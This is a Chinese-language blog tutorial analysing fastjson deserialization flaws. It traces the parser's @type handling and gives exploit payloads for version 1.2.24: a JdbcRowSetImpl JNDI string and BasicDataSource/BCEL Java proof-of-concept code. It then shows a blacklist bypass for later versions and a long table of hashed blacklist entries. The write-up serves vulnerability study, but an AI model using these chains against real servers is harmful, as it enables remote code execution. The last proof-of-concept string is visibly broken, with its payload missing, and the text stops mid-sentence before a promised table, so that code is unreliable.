什么是fastjson
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。
基本用法非常简单,首先引入fastjson依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
其最基本的用法为:
String s = "{\"name\":\"V0n\",\"age\":\"21\"}";
JSONObject jsonObject = JSON.parseObject(s);
String age = jsonObject.getString("age");
System.out.println(age);
这也是我们平时所熟知的应该对一个Json库应有的方法,即将json字符串转换成一个Json对象,然后调用getString方法传入想要读取的键读取。
但是fastjson还提供了一个额外的功能,fastjson还可以将一个json字符串转换成一个Java Bean对象.
比方说对于以下的类:
public class Student {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
String s = "{\"name\":\"V0n\",\"age\":\"21\"}";
Student student = JSON.parseObject(s,Student.class);
String name = student.getName();
System.out.println(name);
//输出V0n
fastjson可以根据我们传入的字符串,以及字符串所属类对象,自动的去构建该类的一个实例,并调用类的setter方法为这个对象赋值。这里来看的话可能已经感觉到存在一些风险点了,但要是Student.class
这个参数并不是我们可控的那可能利用的面还是不大。但问题就在于fastjson要实例化的对象的类也是我们可控的——传入的json字符串中有@type这个属性时,fastjson会根据@type属性对应的值去构建相应的JSONObject对象
String s = "{\"@type\":\"Student\",\"name\":\"V0n\",\"age\":\"21\"}";
JSONObject student = JSON.parseObject(s);
String name = student.getString("name");
System.out.println(name);
//输出V0n
并且实际上在构建JSONObject时,调用了我们指定的类的构造方法和setter方法,并且setter方法中传入的值就是我们字符串中相应参数的值,因此,只要我们找到一个类,其setter或者getter方法中调用了危险方法,那么在paraseObject的时候就会自动调用相应的构造方法和setter方法。
fastjson利用的感觉其实也挺像反序列化利用的,原生反序列化是从字节序列构造出一个对象并在过程中自动调用了readObject方法,而fastjson是从json字符串中构造对象时会自动调用传入对象的构造方法和setter方法。
简单的fastjson流程分析
fastjson构建JSONObject对象的流程其实挺漫长而且很多分支操作,因此接下来的流程只研究重点的流程:
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
看得出parseObject实际上调用的是parse方法并将parse中返回的Object对象转换为JSONObject返回(JSONObject实际上是一个map,也很正常,符合json字符串的组织形式),接下来跟到DefaultJSONParser的parse方法,核心的点在于:
这里新建了一个JSONobject对象并调用了parseObject方法,至于这个case LBRACE其实是在判断字符串的开始符号是什么,LBRACE常量实际上就是{,核心也就是parseObject方法了
parseObject中首先处理json字符串中的key然后处理value,来到
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}
...
if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
}
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}
这里最关键的就是会判断当前字段是否为JSON.DEFAULT_TYPE_KEY(也即@type),是的话会根据我们传入的类名称去执行类加载得到class对象:
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
跟进config.getDeserializer(clazz);
可以看到其实这里fastjson也觉得他们的过程和反序列化很类似,都是从字节流/字符串恢复出一个对象的过程,因此这里fastjson开发者页起的方法名字为getDeserializer
来得到一个ObjectDeserializer
当中会调用derializer = createJavaBeanDeserializer(clazz, type);
,这里传入的clazz和type实际上为同一个对象都是之前实例化的clazz。createJavaBeanDeserializer又会调用JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
build方法可以说就是构建对象的核心了,当中首先了获取了类中的字段和方法(注意这里的方法只是没有用getDeclaredMethods,所以得到的是public修饰的方法)
这里接下来的核心逻辑是遍历methods获取类中的所有setter方法,而具体来说,满足以下条件的method会被认为是setter方法:
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
- 方法名称以set开头且第4位是大写字母
当一个方法被认为是setter方法后,会获得其propertyName(其实也就是字段名,并且当中为了方便处理统一进行了lower处理),即setAge这个方法得到的propertyName为age,然后根据propertyName匹配对应的filed
public static Field getField(Class<?> clazz, String fieldName, Field[] declaredFields) {
for (Field field : declaredFields) {
if (fieldName.equals(field.getName())) {
return field;
}
}
Class<?> superClass = clazz.getSuperclass();
if (superClass != null && superClass != Object.class) {
return getField(superClass, fieldName, superClass.getDeclaredFields());
}
return null;
}
最后符合条件的setter方法会被构成一个FieldInfo对象并推入fieldList中
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures,parserFeatures,annotation, fieldAnnotation, null));
遍历获取完setter方法后会再次遍历一次methods以获取getter方法,同理,只有满足一定条件的method才会被认为是getter方法:
- 非静态方法
- 无参数
- 方法名称长度大于4
- 方法名称以get开头且第4位是大写字母
- 所对应的propertyName在不在之前setter方法中的propertyName中
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
最后会将我们得到的各种信息封装至JavaBeanDeserializer中,首先会调用类的构造方法创建对象,然后并遍历传入的字符串中其他的字段,并分别为其执行其对应的setter方法和getter方法(注意这里的getter方法是通过其前面严苛条件得到的getter方法)。
值得注意的是这里在为类属性寻找getter和setter方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略 _|-
字符串,也就是说哪怕你的字段名叫 _a_g_e_
,getter 方法为 getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _
和 -
进行组合混淆。
并且这里我还发现在匹配字符串时用到了equalsIgnoreCase
来匹配字段是否与filed匹配,所以这里也存在像上篇log4j2攻击里面相同的利用手法,即一些其他unicode字符在equalsIgnoreCase时会和一些英文字符是匹配的
Letter: I Unicode: \u0130 Character: İ
Letter: I Unicode: \u0131 Character: ı
Letter: K Unicode: \u212A Character: K
Letter: S Unicode: \u017F Character: ſ
{\"student\":\"123\"} 等价于{\"\u017Ftudent\":\"123\"}
而parseObject的最后一步是:return (JSONObject) JSON.toJSON(obj);
也就是将我们之前得到的Object对象利用toJSON方法转换成一个JSONobject对象,在这个过程中会调用每个属性的getter方法。注意!这里的getter方法不再是上面严苛的getter方法定义,满足的条件相对宽松了些:
- 非静态方法
- 无参数
- 方法名称长度大于4
- 方法名称以get开头且第4位是大写字母
- 返回值不为void但同时不能为一个ClassLoader
- 方法名称不能为getClass或getDeclaringClass
- 方法名称若为getMetaClass时返回值不能为一个MetaClass(groovy.lang.MetaClass)
并且值得注意的是,parse方法中调用setter时只为传入字符串中定义了值的属性进行setter,而进行toJSON时无论之前传入的字符串里面有没有为一个属性赋值,会调用每个类中的每个getter方法。
这也正是parse方法和parseObject方法的区别:
- parse方法返回的直接就是反序列化(请允许我在这这么说)后的对象,而parseObject在这的基础上对这个对象又做了一层封装,返回了一个JSONobject对象。
- parse方法只会调用setter方法和一些满足了严苛条件的getter方法,而parseObject方法会在parse方法的基础上调用所有的getter方法。
1.2.24利用
前面絮絮叨叨讲了那么多终于进入了正题,所以从以上来说fastjson中要进行命令执行我们需要找到这么一个类:
- 该类的构造方法、
setter
方法、getter
方法中的某一个存在危险操作,比如造成命令执行; - 可以控制该漏洞函数的变量(一般就是该类的属性);
这个版本下其实总的来说有三种利用方法,分别利用了以下三个类:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField
,比较鸡肋,我们就不分析了,主要来看第二和第三种利用方法。
JdbcRowSetImpl利用
JdbcRowSetImpl中有这么一个setter方法:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
当传入参数为null时会调用connect方法:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到对其this.getDataSourceName()
执行了lookup,这显然就是我们熟悉的jndi注入了,而这个方法显然是一个getter方法,果然,其值是由setter方法传入的:
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
不难构建出payload如下:
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/testobj\",\"AutoCommit\":0}
"
不过JNDI注入一个缺点就是需要出网,在目标没有外网连接的情况下无法利用。因此有了下一种方法
BasicDataSource利用
我们先来回顾下之前BCEL类加载的内容
bcel包中定义了一个ClassLoader并且实现了自己的loadClass方法,该方法可以理解为当传入的class_name以$BCEL开头时,利用传入的class_name来直接构建class对象。
之前构建的POC为:
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class BCEL_test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Class.forName(encode(),true,new ClassLoader());
}
public static String encode() throws IOException {
JavaClass cls = Repository.lookupClass(Evil.class);
return "$$BCEL$$"+Utility.encode(cls.getBytes(), true);
}
}
利用点在BasicDataSource(这是tomcat下的一个类)中的createConnectionFactory中:
当driverClassLoader和driverClassName都可控时我们可以进行任意类加载,并且这里的initialize参数还为true,会完整执行整个类加载的流程,完美符合我们前面BCEL利用的流程。
而driverClassLoader和driverClassName都是对象属性,都可以经由相应的setter方法赋值,那么现在问题就变成找到有没有getter或者setter方法调用了createConnectionFactory就行了。
发现只有在createDataSource方法中调用了createConnectionFactory
继续往上找调用:再往上一步就发现有一个getter方法调用了createDataSource
至此整条链条也就走通了,不难构建出POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"%s\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSONObject obj = JSON.parseObject(String.format(s,encode()));
}
public static String encode() throws IOException {
JavaClass cls = Repository.lookupClass(Evil.class);
return "$$BCEL$$"+ Utility.encode(cls.getBytes(), true);
}
}
这里需要注意的是,driverClassLoader的值我们传入的是一个对象,我猜测这里传入{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}时会自动进行parse去得到一个ClassLoader,也就是有循环调用的逻辑在里面,不过这里就不去分析源码了,有兴趣的师傅可以去跟跟看。
但是目前的POC存在一个问题,就是getConnection方法是一个setter方法(而且显然不属于满足严苛条件的那种),因此假如要是单纯调用parse方法而不是parseObject方法是不会被调用的,假如要在parse方法中也被调用的话,我们需要将目前的字符串置于一个key中,这样parse方法就会调用每个getter方法(类似于toJSON中的操作),具体原理大概为:
当JSONObject作为json字符串的key时,parse时会执行key的toString方法,执行JSONObject的toString方法时会调用对象的每个getter方法
具体的逻辑我就不跟了,有兴趣的师傅可以参考这篇文章进行调试
有最终POC为:
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
String s = "}:\"x\"}";
Object obj = JSON.parse(String.format(s,encode()));
}
public static String encode() throws IOException {
JavaClass cls = Repository.lookupClass(Evil.class);
return "$$BCEL$$"+ Utility.encode(cls.getBytes(), true);
}
}
不过这里值得注意的是和之前提到的一样,BCEL包在Java 8u251以后被移除了,因此需要注意利用条件。
1.2.25-1.2.41利用
我们先来看下1.2.25版本中是如何修复漏洞的,改动其实就是:
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
改成了:
Class<?> clazz = config.checkAutoType(typeName, null);
也就是现在不会直接加载@type中指定的类而是会经过checkAutoType进行检查,但是如下图所示checkAutoType的机制其实相当复杂和漫长
总的来说是引入了黑白名单机制
并引入了AutoTypeSupport机制,AutoTypeSupport默认值为false,当AutoTypeSupport为false时只会加载白名单中的类,而白名单又默认为空,因此当AutoTypeSupport为false时是无法绕过的,当然了AutoTypeSupport对流程的影响不止于此,但是很多后续的影响现在就不细说了(可以回去看流程图)
AutoTypeSupport开启方法为:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
在经过了一切流程后,最终还是调用了TypeUtils.loadClass
来进行类加载,loadClass方法中存在以下判断:
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
即当className的起始是 L
,结尾是 ;
时会将这两项去掉再进行类加载,因此当我们传入类为Lcom.sun.rowset.JdbcRowSetImpl;
时,既可以绕过前面黑名单的检测又可以正常类加载com.sun.rowset.JdbcRowSetImpl
1.2.42利用
加L和;的绕过方法到了1.2.42后就失效了,这个版本主要有两个大变化:
黑白名单
fastjson在1.2.42开始,为了阻碍安全人员进行分析,把明文的黑名单改成了哈希过的黑名单,不过现在也已经有安全研究者跑出了绝大部分黑名单的内容
version | hash | hex-hash | name |
---|---|---|---|
1.2.42 | -8720046426850100497 | 0x86fc2bf9beaf7aefL | org.apache.commons.collections4.comparators |
1.2.42 | -8109300701639721088 | 0x8f75f9fa0df03f80L | org.python.core |
1.2.42 | -7966123100503199569 | 0x9172a53f157930afL | org.apache.tomcat |
1.2.42 | -7766605818834748097 | 0x9437792831df7d3fL | org.apache.xalan |
1.2.42 | -6835437086156813536 | 0xa123a62f93178b20L | javax.xml |
1.2.42 | -4837536971810737970 | 0xbcdd9dc12766f0ceL | org.springframework. |
1.2.42 | -4082057040235125754 | 0xc7599ebfe3e72406L | org.apache.commons.beanutils |
1.2.42 | -2364987994247679115 | 0xdf2ddff310cdb375L | org.apache.commons.collections.Transformer |
1.2.42 | -1872417015366588117 | 0xe603d6a51fad692bL | org.codehaus.groovy.runtime |
1.2.42 | -254670111376247151 | 0xfc773ae20c827691L | java.lang.Thread |
1.2.42 | -190281065685395680 | 0xfd5bfc610056d720L | javax.net. |
1.2.42 | 313864100207897507 | 0x45b11bc78a3aba3L | com.mchange |
1.2.42 | 1203232727967308606 | 0x10b2bdca849d9b3eL | org.apache.wicket.util |
1.2.42 | 1502845958873959152 | 0x14db2e6fead04af0L | java.util.jar. |
1.2.42 | 3547627781654598988 | 0x313bb4abd8d4554cL | org.mozilla.javascript |
1.2.42 | 3730752432285826863 | 0x33c64b921f523f2fL | java.rmi |
1.2.42 | 3794316665763266033 | 0x34a81ee78429fdf1L | java.util.prefs. |
1.2.42 | 4147696707147271408 | 0x398f942e01920cf0L | com.sun. |
1.2.42 | 5347909877633654828 | 0x4a3797b30328202cL | java.util.logging. |
1.2.42 | 5450448828334921485 | 0x4ba3e254e758d70dL | org.apache.bcel |
1.2.42 | 5751393439502795295 | 0x4fd10ddc6d13821fL | java.net.Socket |
1.2.42 | 5944107969236155580 | 0x527db6b46ce3bcbcL | org.apache.commons.fileupload |
1.2.42 | 6742705432718011780 | 0x5d92e6ddde40ed84L | org.jboss |
1.2.42 | 7179336928365889465 | 0x63a220e60a17c7b9L | org.hibernate |
1.2.42 | 7442624256860549330 | 0x6749835432e0f0d2L | org.apache.commons.collections.functors |
1.2.42 | 8838294710098435315 | 0x7aa7ee3627a19cf3L | org.apache.myfaces.context.servlet |
1.2.43 | -2262244760619952081 | 0xe09ae4604842582fL | java.net.URL |
1.2.46 | -8165637398350707645 | 0x8eadd40cb2a94443L | junit. |
1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
1.2.46 | -7921218830998286408 | 0x92122d710e364fb8L | org.osjava.sj. |
1.2.46 | -7768608037458185275 | 0x94305c26580f73c5L | org.apache.log4j. |
1.2.46 | -6179589609550493385 | 0xaa3daffdb10c4937L | org.logicalcobwebs. |
1.2.46 | -5194641081268104286 | 0xb7e8ed757f5d13a2L | org.apache.logging. |
1.2.46 | -3935185854875733362 | 0xc963695082fd728eL | org.apache.commons.dbcp |
1.2.46 | -2753427844400776271 | 0xd9c9dbf6bbd27bb1L | com.ibatis.sqlmap.engine.datasource |
1.2.46 | -1589194880214235129 | 0xe9f20bad25f60807L | org.jdom. |
1.2.46 | 1073634739308289776 | 0xee6511b66fd5ef0L | org.slf4j. |
1.2.46 | 5688200883751798389 | 0x4ef08c90ff16c675L | javassist. |
1.2.46 | 7017492163108594270 | 0x616323f12c2ce25eL | oracle.net |
1.2.46 | 8389032537095247355 | 0x746bd4a53ec195fbL | org.jaxen. |
1.2.48 | 1459860845934817624 | 0x144277b467723158L | java.net.InetAddress |
1.2.48 | 8409640769019589119 | 0x74b50bb9260e31ffL | java.lang.Class |
1.2.49 | 4904007817188630457 | 0x440e89208f445fb9L | com.alibaba.fastjson.annotation |
1.2.59 | 5100336081510080343 | 0x46c808a4b5841f57L | org.apache.cxf.jaxrs.provider. |
1.2.59 | 6456855723474196908 | 0x599b5c1213a099acL | ch.qos.logback. |
1.2.59 | 8537233257283452655 | 0x767a586a5107feefL | net.sf.ehcache.transaction.manager. |
1.2.60 | 3688179072722109200 | 0x332f0b5369a18310L | com.zaxxer.hikari. |
1.2.61 | -4401390804044377335 | 0xc2eb1e621f439309L | flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor |
1.2.61 | -1650485814983027158 | 0xe9184be55b1d962aL | org.apache.openjpa.ee. |
1.2.61 | -1251419154176620831 | 0xeea210e8da2ec6e1L | oracle.jdbc.rowset.OracleJDBCRowSet |
1.2.61 | -9822483067882491 | 0xffdd1a80f1ed3405L | com.mysql.cj.jdbc.admin. |
1.2.61 | 99147092142056280 | 0x1603dc147a3e358L | oracle.jdbc.connector.OracleManagedConnectionFactory |
1.2.61 | 3114862868117605599 | 0x2b3a37467a344cdfL | org.apache.ibatis.parsing. |
1.2.61 | 4814658433570175913 | 0x42d11a560fc9fba9L | org.apache.axis2.jaxws.spi.handler. |
1.2.61 | 6511035576063254270 | 0x5a5bd85c072e5efeL | jodd.db.connection. |
1.2.61 | 8925522461579647174 | 0x7bddd363ad3998c6L | org.apache.commons.configuration.JNDIConfiguration |
1.2.62 | -9164606388214699518 | 0x80d0c70bcc2fea02L | org.apache.ibatis.executor. |
1.2.62 | -8649961213709896794 | 0x87f52a1b07ea33a6L | net.sf.cglib. |
1.2.62 | -6316154655839304624 | 0xa85882ce1044c450L | oracle.net. |
1.2.62 | -5764804792063216819 | 0xafff4c95b99a334dL | com.mysql.cj.jdbc.MysqlDataSource |
1.2.62 | -4608341446948126581 | 0xc00be1debaf2808bL | jdk.internal. |
1.2.62 | -4438775680185074100 | 0xc2664d0958ecfe4cL | aj.org.objectweb.asm. |
1.2.62 | -3319207949486691020 | 0xd1efcdf4b3316d34L | oracle.jdbc. |
1.2.62 | -2192804397019347313 | 0xe1919804d5bf468fL | org.apache.commons.collections.comparators. |
1.2.62 | -2095516571388852610 | 0xe2eb3ac7e56c467eL | net.sf.ehcache.hibernate. |
1.2.62 | 4750336058574309 | 0x10e067cd55c5e5L | com.mysql.cj.log. |
1.2.62 | 218512992947536312 | 0x3085068cb7201b8L | org.h2.jdbcx. |
1.2.62 | 823641066473609950 | 0xb6e292fa5955adeL | org.apache.commons.logging. |
1.2.62 | 1534439610567445754 | 0x154b6cb22d294cfaL | org.apache.ibatis.reflection. |
1.2.62 | 1818089308493370394 | 0x193b2697eaaed41aL | org.h2.server. |
1.2.62 | 2164696723069287854 | 0x1e0a8c3358ff3daeL | org.apache.ibatis.datasource. |
1.2.62 | 2653453629929770569 | 0x24d2f6048fef4e49L | org.objectweb.asm. |
1.2.62 | 2836431254737891113 | 0x275d0732b877af29L | flex.messaging.util.concurrent. |
1.2.62 | 3089451460101527857 | 0x2adfefbbfe29d931L | org.apache.ibatis.javassist. |
1.2.62 | 3256258368248066264 | 0x2d308dbbc851b0d8L | java.lang.UNIXProcess |
1.2.62 | 3718352661124136681 | 0x339a3e0b6beebee9L | org.apache.ibatis.ognl. |
1.2.62 | 4046190361520671643 | 0x3826f4b2380c8b9bL | com.mysql.cj.jdbc.MysqlConnectionPoolDataSource |
1.2.62 | 4841947709850912914 | 0x43320dc9d2ae0892L | org.codehaus.jackson. |
1.2.62 | 6280357960959217660 | 0x5728504a6d454ffcL | org.apache.ibatis.scripting. |
1.2.62 | 6534946468240507089 | 0x5ab0cb3071ab40d1L | org.apache.commons.proxy. |
1.2.62 | 6734240326434096246 | 0x5d74d3e5b9370476L | com.mysql.cj.jdbc.MysqlXADataSource |
1.2.62 | 7123326897294507060 | 0x62db241274397c34L | org.apache.commons.collections.functors. |
1.2.62 | 8488266005336625107 | 0x75cc60f5871d0fd3L | org.apache.commons.configuration |
1.2.66 | -2439930098895578154 | 0xde23a0809a8b9bd6L | javax.script. |
1.2.66 | -582813228520337988 | 0xf7e96e74dfa58dbcL | javax.sound. |
1.2.66 | -26639035867733124 | 0xffa15bf021f1e37cL | javax.print. |
1.2.66 | 386461436234701831 | 0x55cfca0f2281c07L | javax.activation. |
1.2.66 | 1153291637701043748 | 0x100150a253996624L | javax.tools. |
1.2.66 | 1698504441317515818L | 0x17924cca5227622aL | javax.management. |
1.2.66 | 7375862386996623731L | 0x665c53c311193973L | org.apache.xbean. |
1.2.66 | 7658177784286215602L | 0x6a47501ebb2afdb2L | org.eclipse.jetty. |
1.2.66 | 8055461369741094911L | 0x6fcabf6fa54cafffL | javax.naming. |
1.2.67 | -7775351613326101303L | 0x941866e73beff4c9L | org.apache.shiro.realm. |
1.2.67 | -6025144546313590215L | 0xac6262f52c98aa39L | org.apache.http.conn. |
1.2.67 | -5939269048541779808L | 0xad937a449831e8a0L | org.quartz. |
1.2.67 | -5885964883385605994L | 0xae50da1fad60a096L | com.taobao.eagleeye.wrapper |
1.2.67 | -3975378478825053783L | 0xc8d49e5601e661a9L | org.apache.http.impl. |
1.2.67 | -2378990704010641148L | 0xdefc208f237d4104L | com.ibatis. |
1.2.67 | -905177026366752536L | 0xf3702a4a5490b8e8L | org.apache.catalina. |
1.2.67 | 2660670623866180977L | 0x24ec99d5e7dc5571L | org.apache.http.auth. |
1.2.67 | 2731823439467737506L | 0x25e962f1c28f71a2L | br.com.anteros. |
1.2.67 | 3637939656440441093L | 0x327c8ed7c8706905L | com.caucho. |
1.2.67 | 4254584350247334433L | 0x3b0b51ecbf6db221L | org.apache.http.cookie. |
1.2.67 | 5274044858141538265L | 0x49312bdafb0077d9L | org.javasimon. |
1.2.67 | 5474268165959054640L | 0x4bf881e49d37f530L | org.apache.cocoon. |
1.2.67 | 5596129856135573697L | 0x4da972745feb30c1L | org.apache.activemq.jms.pool. |
1.2.67 | 6854854816081053523L | 0x5f215622fb630753L | org.mortbay.jetty. |
1.2.68 | -3077205613010077203L | 0xd54b91cc77b239edL | org.apache.shiro.jndi. |
1.2.68 | -2825378362173150292L | 0xd8ca3d595e982bacL | org.apache.ignite.cache.jta. |
1.2.68 | 2078113382421334967L | 0x1cd6f11c6a358bb7L | javax.swing.J |
1.2.68 | 6007332606592876737L | 0x535e552d6f9700c1L | org.aoju.bus.proxy.provider. |
1.2.68 | 9140390920032557669L | 0x7ed9311d28bf1a65L | java.awt.p |
1.2.68 | 9140416208800006522L | 0x7ed9481d28bf417aL | java.awt.i |
1.2.69 | -8024746738719829346L | 0x90a25f5baa21529eL | java.io.Serializable |
1.2.69 | -5811778396720452501L | 0xaf586a571e302c6bL | java.io.Closeable |
1.2.69 | -3053747177772160511L | 0xd59ee91f0b09ea01L | oracle.jms.AQ |
1.2.69 | -2114196234051346931L | 0xe2a8ddba03e69e0dL | java.util.Collection |
1.2.69 | -2027296626235911549L | 0xe3dd9875a2dc5283L | java.lang.Iterable |
1.2.69 | -2939497380989775398L | 0xd734ceb4c3e9d1daL | java.lang.Object |
1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable |
1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable |
1.2.69 | 3247277300971823414L | 0x2d10a5801b9d6136L | java.lang.Cloneable |
1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable |
1.2.69 | 7222019943667248779L | 0x6439c4dff712ae8bL | java.util.EventListener |
1.2.70 | -5076846148177416215L | 0xb98b6b5396932fe9L | org.apache.commons.collections4.Transformer |
1.2.70 | -4703320437989596122L | 0xbeba72fb1ccba426L | org.apache.commons.collections4.functors |
1.2.70 | -4314457471973557243L | 0xc41ff7c9c87c7c05L | org.jdom2.transform. |
1.2.70 | -2533039401923731906L | 0xdcd8d615a6449e3eL | org.apache.hadoop.shaded.com.zaxxer.hikari. |
1.2.70 | 156405680656087946L | 0x22baa234c5bfb8aL | com.p6spy.engine. |
1.2.70 | 1214780596910349029L | 0x10dbc48446e0dae5L | org.apache.activemq.pool. |
1.2.70 | 3085473968517218653L | 0x2ad1ce3a112f015dL | org.apache.aries.transaction. |
1.2.70 | 3129395579983849527L | 0x2b6dd8b3229d6837L | org.apache.activemq.ActiveMQConnectionFactory |
1.2.70 | 4241163808635564644L | 0x3adba40367f73264L | org.apache.activemq.spring. |
1.2.70 | 7240293012336844478L | 0x647ab0224e149ebeL | org.apache.activemq.ActiveMQXAConnectionFactory |
1.2.70 | 7347653049056829645L | 0x65f81b84c1d920cdL | org.apache.commons.jelly. |
1.2.70 | 7617522210483516279L | 0x69b6e0175084b377L | org.apache.axis2.transport.jms. |
1.2.71 | -4537258998789938600L | 0xc1086afae32e6258L | java.io.FileReader |
1.2.71 | -4150995715611818742L | 0xc664b363baca050aL | java.io.ObjectInputStream |
1.2.71 | -2995060141064716555L | 0xd66f68ab92e7fef5L | java.io.FileInputStream |
1.2.71 | -965955008570215305L | 0xf2983d099d29b477L | java.io.ObjectOutputStream |
1.2.71 | -219577392946377768L | 0xfcf3e78644b98bd8L | java.io.DataOutputStream |
1.2.71 | 2622551729063269307L | x24652ce717e713bbL | java.io.PrintWriter |
1.2.71 | 2930861374593775110L | 0x28ac82e44e933606L | java.io.Buffered |
1.2.71 | 4000049462512838776L | 0x378307cb0111e878L | java.io.InputStreamReader |
1.2.71 | 4193204392725694463L | 0x3a31412dbb05c7ffL | java.io.OutputStreamWriter |
1.2.71 | 5545425291794704408L | 0x4cf54eec05e3e818L | java.io.FileWriter |
1.2.71 | 6584624952928234050L | 0x5b6149820275ea42L | java.io.FileOutputStream |
1.2.71 | 7045245923763966215L | 0x61c5bdd721385107L | java.io.DataInputStream |
1.2.83 | -8754006975464705441L | 0x868385095a22725fL | org.apache.commons.io. |
1.2.83 | -8382625455832334425L | 0x8baaee8f9bf77fa7L | org.mvel2. |
1.2.83 | -6088208984980396913L | 0xab82562f53e6e48fL | kotlin.reflect. |
1.2.83 | -4733542790109620528L | 0xbe4f13e96a6796d0L | com.googlecode.aviator. |
1.2.83 | -1363634950764737555L | 0xed13653cb45c4bedL | org.aspectj. |
1.2.83 | -803541446955902575L | 0xf4d93f4fb3e3d991L | org.dom4j. |
1.2.83 | 860052378298585747L | 0xbef8514d0b79293L | org.apache.commons.cli. |
1.2.83 | 1268707909007641340L | 0x119b5b1f10210afcL | com.google.common.eventbus. |
1.2.83 | 3058452313624178956L | 0x2a71ce2cc40a710cL | org.thymeleaf. |
1.2.83 | 3740226159580918099L | 0x33e7f3e02571b153L | org.junit. |
1.2.83 | 3977090344859527316L | 0x37317698dcfce894L | org.mockito.asm. |
1.2.83 | 4319304524795015394L | 0x3bf14094a524f0e2L | com.google.common.io. |
1.2.83 | 5120543992130540564L | 0x470fd3a18bb39414L | org.mockito.runners. |
1.2.83 | 5916409771425455946L | 0x521b4f573376df4aL | org.mockito.cglib. |
1.2.83 | 6090377589998869205L | 0x54855e265fe1dad5L | com.google.common.reflect. |
1.2.83 | 7164889056054194741L | 0x636ecca2a131b235L | org.mockito.stubbing. |
1.2.83 | 8711531061028787095L | 0x78e5935826671397L | org.apache.commons.codec. |
1.2.83 | 8735538376409180149L | 0x793addded7a967f5L | ognl. |
1.2.83 | 8861402923078831179L | 0x7afa070241b8cc4bL | com.google.common.util.concurrent. |
1.2.83 | 9140416208800006522L | 0x7ed9481d28bf417aL | java.awt.i |
1.2.83 | 9144212112462101475L | 0x7ee6c477da20bbe3L | com.google.common.net. |
1.2.67开始,将内置白名单也使用哈希的方式存放。对照表如下:
